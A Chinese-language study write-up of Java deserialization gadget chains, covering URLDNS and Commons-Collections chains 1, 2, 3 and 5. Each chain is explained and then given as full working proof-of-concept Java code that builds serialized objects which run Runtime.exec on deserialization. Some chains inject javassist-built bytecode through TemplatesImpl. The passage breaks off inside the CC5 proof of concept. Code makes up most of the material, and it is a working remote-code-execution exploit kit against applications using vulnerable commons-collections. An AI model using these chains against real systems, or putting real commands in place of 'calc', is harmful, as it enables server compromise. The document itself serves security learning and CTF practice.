Java反序列化从URLDNS到CommonsCollections1-7

Java反序列化学习--从URLDNS到CommonsCollections1-7

前言

前段时间陆续接触了一些java题,也了解了一些java反射的知识。但是一入java深似海,拿到一个题基本毫无头猪。昨天看了看nama大学霸在车联网安全赛上出的ezcc,预期解是把cc链和cb链给拼一拼。然而缺少基础的我基本对着wp发呆。是时候开坑系统学学Java反序列化了。

一些准备

  • Java反射知识
    Java 反射机制可以可以无视类方法、变量去访问权限修饰符(如:protected、private 等),并且可以调用任意类的任何方法、访问并修改成员变量值。
    也就是说,在利用gadgets的时候,我们可能会需要控制对象的具有访问权限的属性/方法,这些正常情况这是不能在外部设置的。但是利用反射可以强行更改这些东西。

URLDNS

这应该是所有脚本小子()的入坑必备了,虽然简单,但是五脏俱全,最基本原理都用到了,而且之后的链子基本都是这个流程。

POC

package learn;

import java.lang.reflect.*;
import java.net.URL;
import java.util.HashMap;
import tools.SerAndDe;
public class URLDNS extends SerAndDe {
//     *   Gadget Chain:
//             *     HashMap.readObject()
//             *       HashMap.putVal()
//             *         HashMap.hash()
//             *           URL.hashCode()
//                                URLStreamHandler.hashCode()
//                                    getHostAddress()

    public static void main(String[] args) throws Exception{
        HashMap hm=new HashMap();
        URL u=new URL("http://o2mcbd.dnslog.cn");
        hm.put(u,1);
        Field urlHashCodeField=u.getClass().getDeclaredField("hashCode");
        urlHashCodeField.setAccessible(true);//使得field可以访问
        urlHashCodeField.set(u,-1);

        deserialize(serialize(hm));
    }
}

注:SerAndDe.java是用来序列化和反序列化的,里面写了两个方法serialize,deserialize。具体怎么写网上搜搜即可。

分析

下面开始分析。先来看看ysoserial上的调用链

 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

具体调用就idea里面ctrl左键点进去看看就行了。
一个正常的想法是这样的

HashMap hm=new HashMap();
URL u=new URL("http://o2mcbd.dnslog.cn");
hm.put(u,1);

但是这是打不通的。这时候就需要动调了。

会发现在URL.hashCode处有一个if,跟进发现这是个私有变量,默认值为-1
private int hashCode = -1;
也就是说hashcode被改过了,这时候就需要反射来设置hashCode为-1了

HashMap hm=new HashMap();
URL u=new URL("http://o2mcbd.dnslog.cn");
Field urlHashCodeField=u.getClass().getDeclaredField("hashCode");
urlHashCodeField.setAccessible(true);//使得field可以访问
urlHashCodeField.set(u,-1);

hm.put(u,1);
deserialize(serialize(hm));

但会发现hashCode仍然不是-1。这是应为hm.put会改变hashCode的值。所以我们把这行代码放前面,就得到了上面的POC。
最后注意一点,在运行此POC的时候会发起2次查询。如果想把它变成仅在反序列化的时候查询,可以去看看ysoserial的源码,这里就不赘述了。

commonsCollections1

碎碎念

历史

apache commons-collections组件反序列化漏洞的反射链也称为CC链,自从apache commons-collections组件爆出第一个java反序列化漏洞后,就像打开了java安全的新世界大门一样,之后很多java中间件相继都爆出反序列化漏洞。

废话

其实我这是第二次看这条链子了。。上周第一次看的时候简直看出心理阴影。。现在基础牢固了再看一遍可能会好一点。

一些铺垫

利用版本限制

commons-collections3.1-3.2.1
jdk1.7.1以下

我用的版本:
jdk8u66
Maven包

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

反射调用Runtime.exec的原理

正常写是这样
java.lang.Runtime.getRuntime().exec("calc");
首先为啥不写成java.lang.Runtime.exec("calc");呢,这是因为exec不是一个static方法,在java里必须通过实例化调用。
你可能又想问了,那为啥不写成

Runtime x=new Runtime();
x.exec("calc");

呢?这又是因为,Runtime的constructor是private的,不能直接new出来。但是可以通过getRuntime new一个出来。

理解了这些,就可以看看反射又是咋回事了:

Class runtimeClass=Class.forName("java.lang.Runtime");
Object runtimeInstance=runtimeClass.getMethod("getRuntime").invoke(null);
Method execMethod=runtimeClass.getMethod("exec",String.class);
execMethod.invoke(runtimeInstance,"calc");

一行一行分析吧。
Class runtimeClass=Class.forName("java.lang.Runtime");
这就是获取了java.lang.Runtime这个类
Object runtimeInstance=runtimeClass.getMethod("getRuntime").invoke(null);
这行就比较难理解了。首先getMethod("getRuntime")获取到runtimeClass的getRuntime这个方法,后者会返回一个Method。接下来invoke反射执行这个方法。invoke方法的原型是,

public Object invoke(Object obj, Object... args)

obj是实例,args是参数。由于getRuntime是一个static方法,实例就可以免去了(这些都是java的特性),所以我写了null。
Method execMethod=runtimeClass.getMethod("exec",String.class);
这是在获取exec这个方法。getMethod的第二个参数是Class<?>... parameterTypes,大概可以猜到是因为锁定了参数类型,就更利于寻找了吧?不太懂java的底层代码。
最后execMethod.invoke(runtimeInstance,"calc");弹计算器。

构造Transformer执行任意代码

Transformer

org.apache.commons.collections.Transformer是一个接口,提供了一个transform()方法,用来定义具体的转换逻辑,方法接收Object类型的input,处理后将Object返回,在Commons-Collection中,程序提供了多个Transformer的实现类,用来实现不同的TransformedMap类中key、value进行修改的功能。

public interface Transformer {
    Object transform(Object var1);
}

InvokerTransformer

这是一个实现类,在Commons-Collections 3.0引入,利用反射来创建一个新的对象。看看他的构造器和transform方法:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}
public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

可以发现,其功能就是把一个实例传进去,然后通过反射执行这一个实例的某一个方法。下面我们试一下用它来完成Runtime.exec()的执行。

Class runtimeClass=Class.forName("java.lang.Runtime");
Object runtimeInstance=runtimeClass.getMethod("getRuntime").invoke(null);

InvokerTransformer it=new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new Object[]{"calc"}
);
it.transform(runtimeInstance);

这个其实就和我们上面的反射差不多,但有一个地方是坑点,这个下面会说到。
当然,开发者不会睿智到给我们提供一个runtimeInstance用,所以下面探索如果我们只能控制一个Transformer,怎么通过Transformer.transform(null)方法执行任意代码。

ChainedTransformer和ConstantTransformer

首先我们需要用到ChainedTransformer把我们构造的很多Transformer连起来。来看看ChainedTransformer的transform方法:

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

可以发现,这就是让上一个Transformer的transform结果作为下一个Transformer的transform的输入(有点绕哈)
另外,因为chain的起点不可能提供一个Transformer,我们需要ConstantTransformer作为起点,看看他的transform和构造器

public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}

public Object transform(Object input) {
    return this.iConstant;
}

也就是把构造器里的参数直接return了,和input没啥关系。这个可以作为我们的起点。
我们来试一试:

ConstantTransformer ct=new ConstantTransformer(Runtime.getRuntime());
InvokerTransformer it=new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new Object[]{"calc"}
);
Transformer[] a=new Transformer[]{ct,it};
ChainedTransformer chain=new ChainedTransformer(a);
chain.transform(null);

二次反射绕过Serializable限制

然后前面就是个人认为CommonsCollections1最绕的地方了
但是,如果你把上面的chain序列化的话,是会报错的

看看报错信息就知道,Runtime类的定义没有继承Serializable类,是不支持反序列化的。
但是,既然我们可以通过ChainedTransformer执行任意代码,那么我们自然可以执行一些反射方法,来得到Runtime类。
也就是要执行Runtime.class.getMethod("getRuntime")
但是我们再仔细观察一遍InvokerTransformer的transform方法

Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);       

如果我们把Runtime.class直接当作input的话,cls将会是java.lang.class这一个类!
也就是说,第二行getMethod方法没法获取到getRuntime
那有没有办法呢?答案是二次反射。我们利用第二行代码getMethod调用另一个getMethod出来,然后在第三行调用原来cls的invoke。然后,再弄一个InvokerTransformer调用invoke方法把getMethod("getRuntime")搞出来。
换句话说,利用反射调一个getMethod("getRuntime")方法,再利用反射调一个invoke方法

等价的代码如下:

Class runtimeClass=Class.forName("java.lang.Runtime");

Class clazz1=runtimeClass.getClass();
Method m1=clazz1.getMethod("getMethod", new Class[]{String.class, Class[].class});
Object o1=m1.invoke(runtimeClass,new Object[]{"getRuntime",new Class[0]});

Class clazz2=o1.getClass();
Method m2=clazz2.getMethod("invoke",new Class[]{Object.class,Object[].class});
Object o2=m2.invoke(o1,new Object[]{"getRuntime",new Class[0]});

这里相当地绕,晕的话多动调看看。

还有一个特别绕的地方就是上面的类似new Class[]{String.class, Class[].class}的写法。这个也困惑了我好久。这里简单解释一下下面这一行
Method m1=clazz1.getMethod("getMethod", new Class[]{String.class, Class[].class});
仔细观察一下getMethod的原型

public Method getMethod(String name, Class<?>... parameterTypes)

第一个参数是方法名,第二个参数是parameterTypes。第二个参数的<?>叫做泛型,这里并不重要。然后...是varags,是用来吸收多个参数的。varags的其中一种写法,就是写成数组,也就是new Class[]{}的形式。由于我们是用getMethod调一个getMethod,所以就得写成数组形式。而new Class[]{}的type可以写成Class[].class,因为java里万物皆对象。

总之,想通这两点就可以构造出一个可序列化的ChainedTransformer了。

ConstantTransformer ct=new ConstantTransformer(Runtime.class);

InvokerTransformer it1=new InvokerTransformer(
        "getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it2=new InvokerTransformer(
        "invoke",
        new Class[]{Object.class,Object[].class},
        new Object[]{"getRuntime",new Class[0]}
);
InvokerTransformer it_exec=new InvokerTransformer(
		"exec",
        new Class[]{String.class},
        new Object[]{"calc"}
);
Transformer[] a=new Transformer[]{ct,it1,it2,it_exec};
ChainedTransformer chain=new ChainedTransformer(a);
chain.transform(null);
deserialize(serialize(chain));

接下来,就是建立从readObject到transform的调用链。这里会有两种玩法

玩法一:TransformedMap.decorate

观察一下TransformedMap这个类,会发现它可以通过decorate玩法把chain挂载到另一个map上,当map调put会触发chain的transform。相关代码如下


于是我们这样写

Map innerMap=new HashMap();
Map outerMap=TransformedMap.decorate(innerMap,null,chain);

然后,接下来寻找readObject和put的联系。
这个类就是sun.reflect.annotation.AnnotationInvocationHandler
(这里我导入了jdk8u66的源码,因为class反编译出现了bug。具体怎么导可能以后再写文章吧,也挺麻烦的其实)

其中memberValue是AnnotationInvocationHandler构造器里边的参数。
由于AnnotationInvocationHandler是个内部类,外边还调用不了,这里又要反射创建一个实例。

Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor c=clazz.getDeclaredConstructor(Class.class,Map.class);
c.setAccessible(true);
Object o=c.newInstance(Target.class,outerMap);

Target.class是因为第一个参数规定了泛型,必须是Annotation的实现。对着Annotation接口ctrl+alt+b即可搜索实现。
这时如果直接反序列化o会发现没反应,debug看看

innerMap是空的,进不了if。加一句

innerMap.put("","");

发现还是不行,继续debug

让innerMap的key变成"value"就行了。放下这一部分的完整POC

static void transformedMap(ChainedTransformer chain) throws Exception{
    Map innerMap=new HashMap();
    innerMap.put("value","");
    Map outerMap=TransformedMap.decorate(innerMap,null,chain);
    Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor c=clazz.getDeclaredConstructor(Class.class,Map.class);
    c.setAccessible(true);
    Object o=c.newInstance(Target.class,outerMap);

    deserialize(serialize(o));
}

玩法二:AnnotationInvocationHandler动态代理

这也是ysoserial选择的方法,由于AnnotationInvocationHandler implements InvocationHandler,就出现了动态代理的打法。具体动态代理是啥网上资料很多,这里就不赘述了。调用链如下

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
                LazyMap.get()
                    ChainedTransformer.transform()

首先lazyMap的get方法会调用其decorated trasformer的transform,让我们只需触发get。
这是从后往前,现在从前往后看看。在AnnotationInvocationHandler的readObject方法中有这么一行

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {

调用了可控memberValues的entrySet()。如果我们通过另一个AnnotationInvocationHandler对象A动态代理对象B,那么就会调用对象A的invoke方法。
观察AnnotationInvocationHandler.invoke()

发现了get方法!我们再让B为lazymap,不就能执行lazyMap.get了嘛。
于是仿照网上的动态代理代码,写出下面的POC

Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor c=clazz.getDeclaredConstructor(Class.class,Map.class);
c.setAccessible(true);
Object handler1=c.newInstance(Target.class,new HashMap<>());

//创建一个实例对象,这个对象是被代理的对象
Map zhangsan=LazyMap.decorate(new HashMap(),chain);

//创建一个与代理对象相关联的InvocationHandler
InvocationHandler stuHandler = (InvocationHandler) c.newInstance(Target.class,zhangsan);

//创建一个代理对象stuProxy来代理zhangsan,代理对象的每个执行方法都会替换执行Invocation中的invoke方法
Map stuProxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class<?>[]{Map.class}, stuHandler);

//代理执行上交班费的方法
//            stuProxy.giveMoney();
Object o=c.newInstance(Target.class,stuProxy);
byte[] b=serialize(o);
deserialize(b);

两种方法完整POC

package learn;

import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import tools.SerAndDe;

import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()
	Requires:
		commons-collections
 */
public class CommonsCollections1 extends SerAndDe {
    public static void main(String[] args) throws Exception{
        ConstantTransformer ct=new ConstantTransformer(Runtime.class);

        InvokerTransformer it1=new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime",new Class[0]}
        );
        InvokerTransformer it2=new InvokerTransformer(
                "invoke",
                new Class[]{Object.class,Object[].class},
                new Object[]{"getRuntime",new Class[0]}
        );
        InvokerTransformer it_exec=new InvokerTransformer(
        "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        Transformer[] a=new Transformer[]{ct,it1,it2,it_exec};
        ChainedTransformer chain=new ChainedTransformer(a);

//        transformedMap(chain);
        invocation(chain);
    }
        static void transformedMap(ChainedTransformer chain) throws Exception{
            Map innerMap=new HashMap();
            innerMap.put("value","");
            Map outerMap=TransformedMap.decorate(innerMap,null,chain);
            Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor c=clazz.getDeclaredConstructor(Class.class,Map.class);
            c.setAccessible(true);
            Object o=c.newInstance(Target.class,outerMap);

            deserialize(serialize(o));
        }
        static void invocation(ChainedTransformer chain) throws Exception{
        /*
        	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
         */
            //反射获取AnnotationInvocationHandler的class和constructor
            Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor c=clazz.getDeclaredConstructor(Class.class,Map.class);
            c.setAccessible(true);
            Object handler1=c.newInstance(Target.class,new HashMap<>());

            //创建一个实例对象,这个对象是被代理的对象
            Map zhangsan=LazyMap.decorate(new HashMap(),chain);

            //创建一个与代理对象相关联的InvocationHandler
            InvocationHandler stuHandler = (InvocationHandler) c.newInstance(Target.class,zhangsan);

            //创建一个代理对象stuProxy来代理zhangsan,代理对象的每个执行方法都会替换执行Invocation中的invoke方法
            Map stuProxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class<?>[]{Map.class}, stuHandler);

            //代理执行上交班费的方法
//            stuProxy.giveMoney();
            Object o=c.newInstance(Target.class,stuProxy);
            byte[] b=serialize(o);
            deserialize(b);

        }
}

小结和感想

还有6个链,吐了

CommonsCollections2

前言

在JDK1.8 8u71版本以后,对AnnotationInvocationHandler的readobject进行了改写。导致高版本中利用链无法使用。
于是就用了PriorityQueue来调commons.collections4.TransformingComparator.compare()从而调InvokerTransformer.transform()
其中,TransformingComparator只有在commons.collections4中有Serializable,3.1-3.2.1是没有的。
另外,使用了transform也就能拼上commons collections1最后的chain了。但是ysoserial用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl来运行时加载字节码,从而RCE。接下来两种方法都来复现一下。

版本和maven依赖

jdk没有版本限制
commons.collections4

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

javassist是帮助我们写字节码的,这个被攻击环境不需要

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.25.0-GA</version>
</dependency>

transform前的调用链

	Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						ChainedTransformer.transform()

ChainedTransformer之后就和commons collections1一样了。来看看前面的:

ChainedTransformer chain=getChainedTransformer();
TransformingComparator comparator=new TransformingComparator(chain);
PriorityQueue queue=new PriorityQueue(comparator);
queue.add(1);
queue.add(2);
deserialize(serialize(queue));

PriorityQueue

PriorityQueue优先级队列是基于优先级堆的一种特殊队列,它给每个元素定义“优先级”,这样取出数据的时候会按照优先级来取,默认情况下,优先级队列会根据自然顺序对元素进行排序;因此放入PriorityQueue的元素必须实现Comparable接口,PriorityQueue会根据元素的排序顺序决定出队的优先级,如果没有实现Comparable接口,PriorityQueue还允许提供一个Comparator对象来判断两个元素的顺序,PriorityQueue支持反序列化,在重写的readObject方法中将数据反序列化到queue中之后,会调用heapify()方法来对数据进行排序。
heapify又会调用siftDown

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

queue就是PriorityQueue存储元素的属性。

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

如果进到siftDownUsingComparator就能调用comparator.compare()了。这里comparator就是我们可以给queue设置的Comparable接口实现对象。

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

再看看org.apache.commons.collections4.comparators.TransformingComparator.compare()

public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

obj2就是传进去的元素(看泛型就懂了),于是就调用了熟悉的transformer.transform

方法1:ChainedTransformer

故技重施,直接让Transformer为commons colletions1里的ChainedTransformer就ok。POC如下(一些小细节写在注释里了,这些动调都能清楚为啥这样写)

方法2:templatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer()会实例化一个自定义的类。其中,这一个类是TemplatesImpl的一个属性(字节码形式)
我们不是可以执行任意方法了吗,构造一个恶意类的字节码让他实例化就行了。具体每一步在干什么写在POC的注释里面了。

POC

然后就是动调+修修补补,一些小细节都写在注释里了

package learn;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;

import java.lang.reflect.*;
import java.util.PriorityQueue;

public class CommonsCollections2 extends tools.SerAndDe{
    /*
	Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()
 */
    public static void main(String[] args) throws Exception{
//        poc1();
        poc2();
    }
    static void poc1() throws Exception{
        ChainedTransformer chain=getChainedTransformer();
        TransformingComparator comparator=new TransformingComparator(chain);
        PriorityQueue queue=new PriorityQueue();
        //debug发现size>=2才行
        queue.add(1);
        queue.add(2);
        //comparator直接构造器设置的话,add的时候会类型错误。所以反射设置
        Class clazz=queue.getClass();
        Field comparatorField=clazz.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(queue, comparator);
        deserialize(serialize(queue));
    }
    static void poc2() throws Exception{
        //制作父类为AbstractTranslet的RCE类的字节码bytes
        ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath("AbstractTranslet");//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet.class.getName()));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] bytes=payload.toBytecode();//转换为byte数组
        //制作templatesImpl
        Object templatesImpl=Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
        //制作transformer
        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        //接下来只需调用transformer.transform(templatesImpl)
//        transformer.transform()
        TransformingComparator comparator=new TransformingComparator(transformer);
        PriorityQueue queue=new PriorityQueue();
        //让size=2
        queue.add(3);
        queue.add(4);
//        反射,强行往queue塞templatesImpl
        Class queueClass=queue.getClass();
        Field queueField=queueClass.getDeclaredField("queue");
        queueField.setAccessible(true);
        queueField.set(queue,new Object[]{templatesImpl,1});

        //反射强写comparator
        Class clazz=queue.getClass();
        Field comparatorField=clazz.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(queue, comparator);

        byte[] b=serialize(queue);
        deserialize(b);
    }

    static ChainedTransformer getChainedTransformer(){
        ConstantTransformer ct=new ConstantTransformer(Runtime.class);

        InvokerTransformer it1=new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime",new Class[0]}
        );
        InvokerTransformer it2=new InvokerTransformer(
                "invoke",
                new Class[]{Object.class,Object[].class},
                new Object[]{"getRuntime",new Class[0]}
        );
        InvokerTransformer it_exec=new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        Transformer[] a=new Transformer[]{ct,it1,it2,it_exec};
        ChainedTransformer chain=new ChainedTransformer(a);
        return chain;
    }
}

commonsCollections3

前言

commonsCollections3其实是commonsCollections1和commonsCollections2的组合加上了一点小东西。他的主要目的是绕过InvokerTransformer。

反序列化链

	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								    InstantiateTransformer.transform()
								        new TrAXFilter(templatesImpl)
								            templatesImpl.newTransformer()

版本

由于readObject是commonsCollections1的复用,和后者完全一样。
jdk<JDK8u71,commons-collections3.1-3.2.1

<dependency>
	<groupId>commons-collections</groupId>
	<artifactId>commons-collections</artifactId>
	<version>3.1</version>
</dependency>

新加的东西

TrAXFilter

可以看到构造器里边可以调用commonsCollections2里用到的templatesImpl.newTransformer(),从而运行任意构造好的class
InstantiateTransformer

transform方法可以调用任意类的构造器方法。于是乎就把链连起来了。

POC

commonscolletions2的templatesImpl似乎在这里有点问题emm,网上搜搜换了一个

package learn;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3 extends tools.SerAndDe{
    /*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								    InstantiateTransformer.transform()
								        new TrAXFilter(templatesImpl)
								            templatesImpl.newTransformer()
     */
    public static void main(String[] args) throws Exception{
        TemplatesImpl templatesImpl=getTemplates();
        //接下来只需templatesImpl.newTransformer()
        //制作chain
        Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
        };
        ChainedTransformer chain=new ChainedTransformer(transformers);
        //把commonscollections1的东西拼上
        Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor c=clazz.getDeclaredConstructor(Class.class, Map.class);
        c.setAccessible(true);
        Object handler1=c.newInstance(Target.class,new HashMap<>());
        Map zhangsan= LazyMap.decorate(new HashMap(),chain);
        InvocationHandler stuHandler = (InvocationHandler) c.newInstance(Target.class,zhangsan);
        Map stuProxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class<?>[]{Map.class}, stuHandler);
        Object o=c.newInstance(Target.class,stuProxy);
        byte[] b=serialize(o);
        deserialize(b);
    }
        static TemplatesImpl getTemplates() throws Exception{
            ClassPool classPool = ClassPool.getDefault();
            classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass ctClass = classPool.makeClass("Evil");
            ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
            String shell = "java.lang.Runtime.getRuntime().exec(\"calc\");";
            ctClass.makeClassInitializer().insertBefore(shell);

            byte[] shellCode = ctClass.toBytecode();
            byte[][] targetByteCode = new byte[][]{shellCode};

            TemplatesImpl templates = new TemplatesImpl();
            Class c1 = templates.getClass();
            Field _name = c1.getDeclaredField("_name");
            Field _bytecode = c1.getDeclaredField("_bytecodes");
            Field _tfactory = c1.getDeclaredField("_tfactory");
            _name.setAccessible(true);
            _bytecode.setAccessible(true);
            _tfactory.setAccessible(true);
            _name.set(templates, "h3rmesk1t");
            _bytecode.set(templates, targetByteCode);
            _tfactory.set(templates, new TransformerFactoryImpl());
            return templates;
        }
}

CommonsCollections4

CommonsCollections4 is a variation on CommonsCollections2 that uses InstantiateTransformer instead of InvokerTransformer.So we just skip it.

CommonsCollections5

调用栈

    /*
	Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()
	Requires:
		commons-collections
 */
/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
 */

版本

JDK<8u76

<dependency>
   <groupId>commons-collections</groupId>
   <artifactId>commons-collections</artifactId>
   <version>3.1</version>
</dependency>

BadAttributeValueExpException.readObject()有一个条件必须满足
20220418105259

package learn;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections5 extends tools.tool{
    /*
	Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()
	Requires:
		commons-collections
 */
/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
 */
    public static void main(String[] args) throws Exception{
        ChainedTransformer chain=getChainedTransformer();
        Map lazymap=LazyMap.decorate(new HashMap(),chain);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,1);
        BadAttributeValueExpException e=new BadAttributeValueExpException(null);
        setFieldValue(e,"val",tiedMapEntry);
        deserialize(serialize(e));
    }
    static ChainedTransformer getChainedTransformer(){
        ConstantTransformer ct=new ConstantTransformer(Runtime.class);

        InvokerTransformer it1=new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime",new Class[0]}
